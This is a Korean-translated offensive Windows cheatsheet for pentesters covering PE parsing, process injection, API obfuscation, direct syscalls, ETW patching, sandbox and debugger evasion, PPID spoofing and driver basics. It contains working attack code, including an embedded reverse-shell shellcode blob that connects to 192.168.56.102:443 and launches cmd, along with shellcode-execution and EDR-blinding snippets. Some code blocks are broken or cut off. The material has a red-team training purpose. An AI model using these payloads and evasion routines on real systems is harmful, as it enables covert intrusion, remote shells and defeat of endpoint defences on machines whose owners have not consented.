
Win32 and Kernel abusing techniques for pentesters
모의 침투 테스터와 레드 팀원을 위한 Win32 및 커널 악용 기술, @UVision과 @RistBS 제작
개발 모드 활성화, 어떤 도움이라도 환영합니다 :)
DOS_HEADER : PE의 첫 번째 헤더로, MS DOS 메시지("이 프로그램은 DOS 모드에서 실행할 수 없습니다...."), MZ 헤더(PE 식별용 매직 바이트) 및 일부 스텁 콘텐츠를 포함합니다.IMAGE_NT_HEADER : PE 파일 서명, 파일 헤더 및 선택 헤더를 포함합니다.SECTION_TABLE : 섹션 헤더를 포함합니다.SECTIONS : 헤더는 아니지만 알아두면 유용합니다. PE의 섹션들입니다.자세한 내용 : https://www.researchgate.net/figure/PE-structure-of-normal-executable_fig1_259647266
IAT 및 ILT 절대 주소를 검색하는 간단한 PE 파싱:
GetModuleHandleA(NULL);BaseAddress+PIMAGE_DOS_HEADER.e_lfnanew (RVA NT_HEADER)OptionnalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]IMAGE_DATA_DIRECTORY.VirtualAddress (IMAGE_IMPORT_DIRECTORY의 RVA)BaseAddress + IMAGE_IMPORT_DIRECTORY.VirtualAddress (IMAGE_IMPORT_DESCRIPTOR의 RVA)EAT는 PE에서 내보낸 모든 함수를 확인하고 DLL도 확인합니다. IMAGE_EXPORT_DIRECTORY 구조에 정의되어 있습니다:```c
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name; // name of DLL
DWORD Base; // first ordinal number
DWORD NumberOfFunctions; // number of entries in EAT
DWORD NumberOfNames; // number of entries in (1) (2)
DWORD AddressOfFunctions; // RVA EAT and contains also RVA of exported functions
DWORD AddressOfNames; // Pointer array contains address of function names
DWORD AddressOfNameOrdinals; // Pointer array contains address of ordinal number of functions (index in AddressOfFunctions)
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
Please note that the EAT is defined in a DLL, not in a "real" PE (a PE will use the EAT of a loaded dll to resolve pointers to functions it want to use).
### 함수 주소 확인
**함수 주소 사용**
무엇을 기다리고 있나요? 이 함수를 찾으세요!
**서수 번호 사용**
서수 번호는 `AddressOfFunctions` 배열에서 해당 함수 주소를 가리키는 **인덱스 위치**입니다. 아래와 같이 함수의 올바른 주소를 **검색하는 데** 사용할 수 있습니다.
주어진 서수 번호 3으로 해당 주소(Addr4)를 찾아보겠습니다.
- **AddressOfFunctions** : *Addr1 Addr2 Addr3 Addr4 .... AddrN*
- **AdressOfNameOrdinals** : *2 5 7 3 ... N*
우리가 찾는 주소는 (0부터 시작하여) 3번째 위치에 있으며, 서수 번호는 이 주소의 **인덱스**에 해당합니다.
**함수 이름 사용**
AddressOfNames 배열의 N번째 요소는 AddressOfNameOrdinals 배열의 N번째 요소에 대응합니다. 주어진 이름을 사용하여 해당 서수 번호를 검색한 다음, 이 번호를 사용해 함수 주소를 찾을 수 있습니다.
## Import Address Table (IAT)
- PE 로더는 어떤 주소가 어떤 함수에 해당하는지 알지 못합니다. IAT를 통해 문제를 해결해 봅시다.
- IMAGE_IMPORT_DIRECTORY 구조체에 정의됩니다:```c
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
DWORD Characteristics;
DWORD OriginalFirstThunk; // RVA to ILT
DWORD TimeDateStamp;
DWORD ForwarderChain;
DWORD Name; // RVA of imported DLL name
DWORD FirstThunk; // RVA to IAT
} IMAGE_IMPORT_DESCRIPTOR,*PIMAGE_IMPORT_DESCRIPTOR;
요약하자면, IAT는 PE가 로드된 DLL(ntdll, kernel32...)에서 가져온 여러 함수에 대한 포인터를 포함하는 테이블입니다.
자세한 코드 예제는 여기 : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/miscellaneous/iat_parser.cpp
PE가 가져온 모든 DLL에는 자체 ILT가 있습니다.``` Absolute address of ILT = BaseAddress + OriginalFirstThunk (IAT)
가져온 DLL에 있는 모든 함수 이름을 포함합니다.
<br>
## SeDebug 권한 활성화
**SeDebug** 권한은 Windows 권한 목록에서 가장 "탐나는" 권한입니다. 이 권한을 사용하면 승인된 모든 프로세스를 "디버그"할 수 있으며, 이는 ```PROCESS_ALL_ACCESS``` 권한으로 핸들을 여는 것과 같은 여러 공격적 작업으로 해석될 수 있습니다.
사용자 모드에서 이 권한을 활성화하려면 다음과 같은 함수를 사용해야 합니다:```cpp
void EnableDebugPriv()
{
HANDLE hToken;
LUID luid;
TOKEN_PRIVILEGES tkp;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = luid;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, false, &tkp, sizeof(tkp), NULL, NULL);
CloseHandle(hToken);
}
이 함수는 현재 프로세스 토큰을 연 다음, 대상 권한에 해당하는 SE_PRIVILEGE_ENABLED 권한으로 조정합니다.
이 기법은 몇 년 전만 해도 성공적인 우회율이 꽤 높았습니다. 그러나 EDR 및 기타 엔드포인트 솔루션의 수가 증가함에 따라 디스크에 쓰는 것은 가능한 한 피해야 합니다.
메모리 영역에 해당 크기의 공간을 할당하여 원시 바이너리 파일을 메모리에서 실행할 수 있습니다 :```cpp HANDLE binfile = CreateFileA("myfile.bin",GENERIC_READ,NULL,NULL,OPEN_EXISTING,NULL,NULL); SIZE_T size = GetFileSize(binfile,NULL); LPVOID buffer=NULL; ReadFile(binfile,buffer,size,NULL,NULL); HANDLE hProc = GetCurrentProcess();
CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)buffer, NULL, 0, NULL); CloseHandle(hProc);
<br>
# 코드 인젝션 기법
## CreateRemoteThread 인젝션
대상 프로세스 내부에 미리 할당된 메모리 공간에 셸코드를 작성하기만 하면 됩니다. (OPSEC에 적합하지 않음)
> 코드 샘플 : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/create_thread_injection.cpp
## 프로세스 할로잉
프로세스 할로잉은 여러 단계로 이루어집니다 :
- 수정이 필요하므로 대상("할로잉된") 프로세스를 일시 중단(suspended) 모드로 생성합니다
- 대상 프로세스를 PEB에서 언매핑합니다 (이 구조체를 먼저 선언해야 합니다)
- 새 실행 파일의 내용(헤더 + 콘텐츠)을 이 프로세스에 작성합니다
- 재배치 테이블을 파싱하고 적용합니다
- 프로세스가 스레드에서 계속 실행되도록 합니다
- 끝
> 전체 POC는 다음에서 확인할 수 있습니다 : https://www.ired.team/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations
## APC 큐 기법
프로세스에서 사용 가능한 모든 스레드에 셸코드를 주입한 다음 ```QueueUserAPC()``` 함수를 사용하여 APC 호출을 큐에 추가합니다. 손상된 프로세스에 스레드가 많지 않으면 이 기법은 신뢰할 수 없을 수 있습니다.
> 코드 샘플 : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/apc.cpp
## Early Bird
APC 큐 인젝션과 유사하지만, 여기서는 APC 호출이 일시 중단된 프로세스에 설정되어야 합니다. 생성된 프로세스의 메인 스레드를 재개합니다. 이 기법의 주요 장점은 실행 중인 프로세스에 셸코드를 작성하는 것을 피하기 때문에 AV/EDR에 덜 탐지된다는 점입니다.
> 코드 샘플 : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/earlybird.cpp
## 리플렉티브 DLL 인젝션
"정적" DLL 인젝션(DLL 파일을 사용하는 방식)과 마찬가지로, DLL을 메모리에서 리플렉션하여 대부분의 프로세스에 자신의 DLL을 주입할 수 있습니다. 오늘날 상당히 탐지되는 방식임에도 불구하고 일부 AV/EDR 제품을 쉽게 우회할 수 있는 장점이 있습니다.
이를 작동시키려면 먼저 메모리를 할당하고 일부 재배치(reloc) 작업을 수행해야 합니다.
이 기법에 대한 잘 알려진 POC는 stephenfewer가 공개했습니다 : https://github.com/stephenfewer/ReflectiveDLLInjection
## DLL 인젝션
원격 프로세스에 DLL에 저장된 일부 코드를 주입할 수 있습니다. 불행히도 EDR 제품은 특히 악성 DLL이 디스크에 닿는 경우 이를 쉽게 탐지할 가능성이 높습니다.
> 코드 샘플 : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/dll_injection.cpp
## 프로세스 도펠갱잉
프로세스 도펠갱잉은 몇 년 전까지는 자신의 페이로드를 교묘한 방식으로 실행하는 탐지되지 않는 방법이었습니다. BlackHat 2017에서 Tal Liberman과 Eugene Kogan이 시연했으며, 그들의 놀라운 작업을 확인하세요 : https://www.youtube.com/watch?v=Cch8dvp836w
이 기법은 프로세스 할로잉 기법의 '중간' 단계입니다. PE 이미지가 실행되기 전에 덮어쓰여지므로 Windows 로더가 우리 대신 프로세스 할로잉을 수행합니다. (정말 멋지죠?)
Hasherezade가 이 기법의 멋진 POC를 만들었으며, 다음에서 확인할 수 있습니다 : https://github.com/hasherezade/process_doppelganging
## 파이버
파이버(Fiber)는 ```cooperatively
threads (https://nullprogram.com/blog/2019/03/28/)```로 정의할 수 있습니다. 이를 통해 메인 프로그램은 이 새로운 스레드 유형을 통해 셸코드를 실행할 수 있습니다.
> 코드 샘플 : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/fiber.cpp
## MapView 코드 인젝션
이 기법을 사용하면 악성 프로세스의 메모리 섹션 뷰를 다른 원격 프로세스와 공유하여, 해당 뷰에 저장된 셸코드를 실행하게 할 수 있습니다. NtCreateSection/NtMapViewOfSection을 사용하여 수행할 수 있으며, WriteProcessMemory()나 VirtualAlloc()과 같이 집중적으로 모니터링되는 프로시저를 사용하지 않아도 됩니다 (단, NtMapViewOfSection도 모니터링될 수 있습니다).
코드 예제 : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/mapview_injection.cpp
## 모듈 스톰핑
이 기법은 비콘이 디스크의 모듈에 의해 백업되도록 합니다.```c
CHAR moduleName[] = "windows.storage.dll\x00";
HMODULE hVictimLib = LoadLibraryA(moduleName);
DWORD_PTR RXSection = (DWORD_PTR)hVictimLib;
RXSection += 0x1000 * 0x2;
RXSection += 0xc;
char* ptr = ( char* )RXSection;
모듈 스톰핑(특히 Cobalt Strike)을 탐지하기 위해 이 기술의 일부 IoC를 강조하는 DetectCobaltStomp라는 스캐너가 공개되었지만, Brute Ratel의 저자는 원래 기술을 개선했습니다.
단순히 원래 함수 주소(GetProcAddress로 얻은)를 새 주소로 교체하기만 하면 됩니다. 이 기술은 저자가 자세히 설명했습니다: https://idov31.github.io/2022-01-28-function-stomping/
인라인 후킹은 함수를 후킹하는 가장 기본적인 방법입니다: 단순히 API 호출을 자신의 함수로 리디렉션(점프)하는 것으로 구성됩니다.
코드 샘플 : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/inline.cpp
해당 함수 주소를 자신의 함수에 대한 포인터로 수정함으로써 프로그램이 사용자 정의 코드를 실행하도록 만들 수 있습니다.
다음 여러 단계를 통해 수행할 수 있습니다:
코드 샘플 : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/iat.cpp
win32 api에 대한 호출을 숨기기 위해 사용할 수 있는 몇 가지 기술이 있으며, 그중 일부는 다음과 같습니다:
char[] 배열을 사용하여 함수/DLL 이름을 여러 문자로 분할합니다```cpp
char sWrite[] = {'W','r','i','t','e','P','r','o','c','e','s','s','M','e','m','o','r','y',0x0}; //don't forget the null byte> 이 트릭을 일부 ASCII 문자 코드 변환과 결합할 수도 있습니다.
## 수동 함수 리졸브
kernel32, ntdll 등의 모든 함수에 대한 포인터를 수동으로 리졸브할 수 있습니다.
- 먼저 실제 함수 헤더를 기반으로 함수의 템플릿을 선언합니다.```cpp
typedef HANDLE(WINAPI* myOpenProcess)(DWORD,BOOL,DWORD); //if you work directly with ntdll, use NTAPI*
> 망설이지 말고 이 기법을 문자열 난독화와 결합하여 실제 함수 이름이 평문으로 전달되지 않도록 하세요.
## Win32 API 해싱
API 함수 호출을 일부 해시 알고리즘(가장 많이 사용되는 것은 djb2)으로 해시하여 숨길 수 있습니다. 일부 특수 함수에서는 해시 충돌이 발생할 수 있으니 주의하세요. 그런 다음 이 기법을 EAT에서 직접 주소를 확인하는 방식과 결합하면 리버서들이 울게 만들 수 있습니다 :)
<br>
# EDR/엔드포인트 우회
## 직접 Syscall
대부분의 EDR 제품은 사용자 모드에서 win32 API 호출을 후킹합니다(PatchGuard가 커널 후킹 가능성을 크게 줄이기 때문입니다). 이러한 후킹을 피하려면 API 함수에 해당하는 Nt() 함수를 직접 호출하면 됩니다.
-```asm
.code
SysNtCreateFile proc
mov r10, rcx //syscall convention
mov eax, 55h //syscall number : in this case it's NtCreateFile
syscall //call nt function
ret
SysNtCreateFile endp
end
이 표에서 올바른 시스템 콜 번호를 찾으세요 : https://j00ru.vexillium.org/syscalls/nt/64/
NTSTATUS를 사용하여 함수 프로토타입을 빌드하세요```cpp
EXTERN_C NTSTATUS SysNtCreateFile(
PHANDLE FileHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PIO_STATUS_BLOCK IoStatusBlock,
PLARGE_INTEGER AllocationSize,
ULONG FileAttributes,
ULONG ShareAccess,
ULONG CreateDisposition,
ULONG CreateOptions,
PVOID EaBuffer,
ULONG EaLength);- NT 주소를 확인합니다```cpp
FARPROC addr = GetProcAddress(LoadLibraryA("ntdll"), "NtCreateFile");
C++/C는 고급 등가 언어보다 AV/EDR 제품에 더 자주 탐지되는 경우가 많습니다. Go, Rust 또는 다른 언어를 사용하여 최상의 템플릿을 제작하세요.
후킹된 함수에 올바른 함수 호출을 적용하여 간단히 (재)후킹하십시오: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/inline.cpp
후크를 탐지하려면 먼저 LoadLibrary를 사용하여 NTDLL의 기본 주소를 얻은 다음 PE 헤더를 구문 분석하여 EAT(IMAGE_EXPORT_DIRECTORY)와 그 오프셋을 찾습니다. 여기에는 모든 중요한 정보(내보낸 함수 + 이름)가 포함됩니다. 내보낸 함수를 반복하면서 함수 이름과 주소를 확인하고 다음 if 문을 적용하여 함수를 정렬하십시오.
> **⚠️** : 일부 기능은 오탐(false positive)이므로 이를 탐지하는 것을 권장합니다 :```c
if (strncmp(functionName, (char*)"NtGetTickCount", 14) == 0 ||
strncmp(functionName, (char*)"NtQuerySystemTime", 17) == 0 ||
strncmp(functionName, (char*)"NtdllDefWindowProc_A", 20) == 0 ||
strncmp(functionName, (char*)"NtdllDefWindowProc_W", 20) == 0 ||
strncmp(functionName, (char*)"NtdllDialogWndProc_A", 20) == 0 ||
strncmp(functionName, (char*)"NtdllDialogWndProc_W", 20) == 0 ||
strncmp(functionName, (char*)"ZwQuerySystemTime", 17) == 0) { }
if 문에서는 functionName의 처음 4바이트가 mov r10, rcx; mov eax, ##와 같은지 확인하세요. 이는 syscall 스텁의 시작 부분입니다.```c
if (memcmp(functionAddress, syscallPrologue, 4) != 0) { // ... }> 코드 샘플: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/tree/main/evasion/detect_hooks.c
## ETW 패치
ETW(Event Tracing for Windows)는 커널 및 사용자 모드 프로세스의 디버깅/로깅에 사용할 수 있는 저수준 로깅 API입니다. Windows 2000에서 처음 구현되었지만, 실시간 모니터링은 Windows XP부터 실제로 사용할 수 있습니다.
ETW API는 Microsoft에서 제공하는 헤더 파일에서 사용할 수 있습니다: https://docs.microsoft.com/fr-fr/windows/win32/api/_etw/
침투 테스트 작업에서는 이 기능을 패치하여 주의해야 합니다. 가장 많이 사용되는 방법은 임의의 ```ret``` opcode를 ETW 이벤트 작성 함수(```EtwEventWrite```)에 써서 로그가 어딘가에 기록되는 것을 방지하는 것입니다.
코드 샘플 : //
## 샌드박스 우회
샌드박스는 AV/EDR이 프로그램을 실제로 실행하기 전에 일부 API 호출 및 다른 코드 부분을 테스트하는 데 상당히 많이 사용됩니다. 이 도구를 피할 수 있는 몇 가지 기술이 있으며, 그중 일부는 다음과 같습니다:
- 기다리세요. 정말로요. `Sleep()` 또는 `time.sleep()` 같은 함수는 실제 셸코드를 실행하기 전에 몇 초 동안 지연시켜 줍니다.
- 많은 메모리(예: 100000000바이트)를 할당(malloc)해 봅니다.
- 실제로 샌드박스(VM) 환경에 있는지 감지해 봅니다. 열린 프로세스, 파일 및 기타 의심스러운 항목을 테스트합니다.
- 가짜(작동하지 않는) URL을 확인해 봅니다. 많은 AV 제품이 가짜 페이지로 응답합니다.
- `VirtualAllocExNuma()`와 같이 이상하고 거의 사용되지 않는 API 호출을 사용합니다. 대부분의 샌드박스는 이러한 유형의 호출을 에뮬레이션할 수 없습니다.```cpp
IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
실제 AV 탐지 회피 기술은 아니지만, RE 엔지니어에게 너무 쉽게 리버싱되지 않도록 하는 데 여전히 유용합니다. 디버거를 탐지하거나 혼란스럽게 만드는 방법은 매우 많지만, 그중 일부는 아래와 같습니다:
플래그 방식
IsDebuggerPresent() (Win32) 또는 문서화가 거의 되어 있지 않은 직접 호출 NtQueryInformationProcess()를 사용하여 디버그 플래그를 확인할 수 있습니다.
핸들 방식
CloseHandle() API로 잘못된(존재하지 않는) 핸들을 닫아 보십시오. 디버거는 예외를 잡으려고 시도하며, 이는 쉽게 감지할 수 있습니다:```cpp bool Check() //https://anti-debug.checkpoint.com/techniques/object-handles.html#closehandle { __try { CloseHandle((HANDLE)0xDEADBEEF); return false; } __except (EXCEPTION_INVALID_HANDLE == GetExceptionCode() ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH) { return true; } }
**ASM 방식**
INT 3 호출(ASM)을 시도해 보세요: 소프트웨어 중단점과 동일하며, 디버거를 트리거합니다. 디버거를 탐지하는 다른 많은 방법들이 있으며, 그중 상당수는 다음에 정리되어 있습니다: https://anti-debug.checkpoint.com/
## VirtualProtect 기법
`VirtualProtect()`와 몇 가지 트릭을 사용하면 메모리에서 플래그가 지정되는 것을 쉽게 피할 수 있습니다: `PAGE_EXECUTE_READWRITE`와 `PAGE_READWRITE`(덜 의심스러운) 사이를 전환하여 즐겨 사용하는 AV가 트리거되지 않도록 하세요.
## Fresh Copy Unhook
후킹된 ntdll을 디스크에서 직접 매핑한 새 복사본으로 교체하여 후크를 피하세요.
코드 샘플: // to add
## Hells Gate
하드코딩된 syscall을 사용하지 않기 위해, Hell's Gate(Hells Gates?)는 EAT를 파싱하여(메모리 바이트를 syscall opcode와 비교) 동적으로 syscall을 검색합니다. 원본 PoC는 훌륭한 VX-Underground 팀이 만들었으며, 여기에서 찾을 수 있습니다: https://papers.vx-underground.org/papers/Windows/Evasion%20-%20Systems%20Call%20and%20Memory%20Evasion/Dynamically%20Retrieving%20SYSCALLs%20-%20Hells%20Gate.7z
또 다른 예시: https://github.com/am0nsec/HellsGate
## Heavens Gate
Wow64를 사용하여 32비트 로더에 64비트 페이로드를 주입하세요. Wow64가 사용자 영역에서 적발되는 것을 피하게 해 주므로 일부 AV/EDR을 우회하는 데 유용할 수 있습니다.
이 기법의 가장 잘 알려진 버전은 MSF 팀이 만들었으며, 그 훌륭한 작업은 여기에서 볼 수 있습니다: https://github.com/rapid7/metasploit-framework/blob/21fa8a89044220a3bf335ed77293300969b81e78/external/source/shellcode/windows/x86/src/migrate/executex64.asm
## CreateThreadPoolWait
콜백 함수에 대한 포인터를 받을 수 있는 CreateThreadPoolWait()를 남용하면 이 프로시저를 통해 셸코드를 실행할 수 있습니다. 유사한 기법(콜백 함수 포인터 사용)은 다음에서 많이 볼 수 있습니다: http://ropgadget.com/posts/abusing_win_functions.html
예시 :```cpp
//code from https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-via-createthreadpoolwait
#include <windows.h>
#include <threadpoolapiset.h>
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x38\x66\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
int main()
{
HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
LPVOID shellcodeAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(shellcodeAddress, shellcode, sizeof(shellcode));
PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)shellcodeAddress, NULL, NULL);
SetThreadpoolWait(threadPoolWait, event, NULL);
WaitForSingleObject(event, INFINITE);
return 0;
}
프로세스를 일시 중지(suspend)한 후 RIP 레지스터(x86이라면 EIP)를 자신의 셸코드 주소로 교체하여 원격 프로세스의 스레드를 하이재킹한다.
의심스럽거나 비정상적인 프로세스가 "정상적인" 또는 방치된 부모 프로세스 아래에서 시작되면 매우 의심스러워진다. 악성 Word 매크로가 powershell 프로세스를 실행하는 경우를 생각해 보라. 이상하지 않은가?
PPID Spoofing은 생성한 프로세스의 부모 프로세스 ID(PPID)를 수정하여 이러한 의심을 피할 수 있게 해준다.```cpp #include <windows.h> #include <TlHelp32.h> #include
//code from : https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing int main() { STARTUPINFOEXA si; PROCESS_INFORMATION pi; SIZE_T attributeSize; ZeroMemory(&si, sizeof(STARTUPINFOEXA));
HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, 6200);
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);
return 0;
}
## Process Instrumentation Callback
Process Instrumentation Callback는 `ProcessInstrumentationCallback` 플래그(`0x40`)로 정의되며, 보안 제품이 콜백을 등록하여 `syscall` 명령이 NTDLL이 아닌 실행 이미지에서 오는지 확인함으로써 [잠재적인 직접 syscall 호출](https://winternl.com/detecting-manual-syscalls-from-user-mode/)을 감지하는 데 사용합니다. 우리 프로세스에서 이를 우회하려면 `Callback`을 `NULL`로 설정하기만 하면 됩니다.```c
PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION InstrumentationCallbackInfo;
InstrumentationCallbackInfo.Version = 0x0;
InstrumentationCallbackInfo.Reserved = 0x0;
InstrumentationCallbackInfo.Callback = NULL;
NtSetInformationProcess( hProcess, ProcessInstrumentationCallback, &InstrumentationCallbackInfo, sizeof( InstrumentationCallbackInfo ) );
마이크로소프트에서는 여전히 'undocumented' 상태이지만 Alex Ionescu가 여기에서 문서화했고, Everdox도 여기에서 문서화했습니다.
계측(instrumentation)을 우회하는 전체 코드는 여기 있습니다 : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/evasion/disable_instrumentation_callback.c
HeapWalk로 힙을 순회한 다음 할당된 메모리를 암호화합니다 :```c
VOID HeapEncryptDecrypt() {
PROCESS_HEAP_ENTRY HeapWalkEntry;
SecureZeroMemory( &HeapWalkEntry, sizeof( HeapWalkEntry ) );
while ( HeapWalk( GetProcessHeap(), &HeapWalkEntry ) ) {
if ( ( HeapWalkEntry.wFlags & PROCESS_HEAP_ENTRY_BUSY ) != 0 ) {
XORFunction( key, keySize, ( char* )( HeapWalkEntry.lpData ), HeapWalkEntry.cbData );
}
}
}
> 더 많은 정보는 여기: https://www.arashparsa.com/hook-heaps-and-live-free/
## 슬립 난독화
슬립 난독화와 관련된 많은 PoC들이 서로 다른 메커니즘(UM APC, TP 등)으로 등장했습니다. 여기서는 이해하기 가장 쉬운 PoC인 [Ekko](https://github.com/Cracked5pider/Ekko/)를 예로 듭니다.
Ekko의 ROP 체인은 매우 간단합니다. 메모리 보호를 `RW`로 변경하고, RC4를 구현하는 `SystemFunction032`로 영역을 암호화한 다음, `WaitForSingleObject`로 슬립하고, 영역을 복호화한 후 보호를 다시 `RWX`로 전환합니다. 마지막으로 `CreateTimerQueueTimer`로 모든 `CONTEXT`를 큐에 넣습니다.
> [TickTock](https://github.com/WithSecureLabs/TickTock)이나 [Patriot](https://github.com/joe-desimone/patriot) 같은 일부 스캐너가 이를 탐지하기 위해 출시되었지만, NTDLL에서 gadget을 사용해 `NtContinue`로 가는 트램펄린을 이용하고 ROP 체인의 `Rip` 레지스터를 교체함으로써 이를 피할 수 있습니다.
<br>
# 드라이버 프로그래밍 기초
## 일반 개념
드라이버는 사용자 모드가 아닌 커널 모드에서 코드를 실행하는 데 사용됩니다. 이는 AV/EDR이 설정한 모든 사용자 모드 후크와 모니터링을 우회하는 강력한 기법입니다. 또한 커널 콜백 및 기타 커널 모니터링을 우회하는 데에도 사용할 수 있습니다.
모든 드라이버의 코드는 검증되어야 하며(모든 경고는 오류로 처리해야 함), 충돌이 없음을 보장해야 합니다(펜테스트 중 BSOD를 유발하고 싶지는 않겠죠?).
몇 년 전, Microsoft는 자사 운영 체제에서 서명되지 않은 드라이버를 금지하기로 결정했습니다. 자체 드라이버를 로드하려면 먼저 이 제한을 비활성화하거나, 드라이버 서명을 비활성화하기 위한 취약점(예: https://github.com/hmnthabit/CVE-2018-19320-LPE)을 사용해야 합니다.
실제 펜테스트에서는 취약한 드라이버를 찾아 활용해야 합니다:)
## 시스템 서비스 디스패치 테이블 (SSDT)
SSDT(System Service Dispatch Table)는 (말할 필요도 없이) 테이블이며, 현재 인덱스를 기준으로 해당 Nt 함수를 결정합니다. 사용자 모드 호출이 발생하면 다음과 같이 해석됩니다:
- ```OpenProcess``` (Win32 API 함수가 호출됨)
- ```NtOpenProcess``` (ntdll.dll에서 해석됨)```asm
mov r10, rcx
mov eax, 26
syscall
ret
ntdll에는 각 Nt 함수에 대한 시스템 호출 프로시저가 포함되어 있습니다
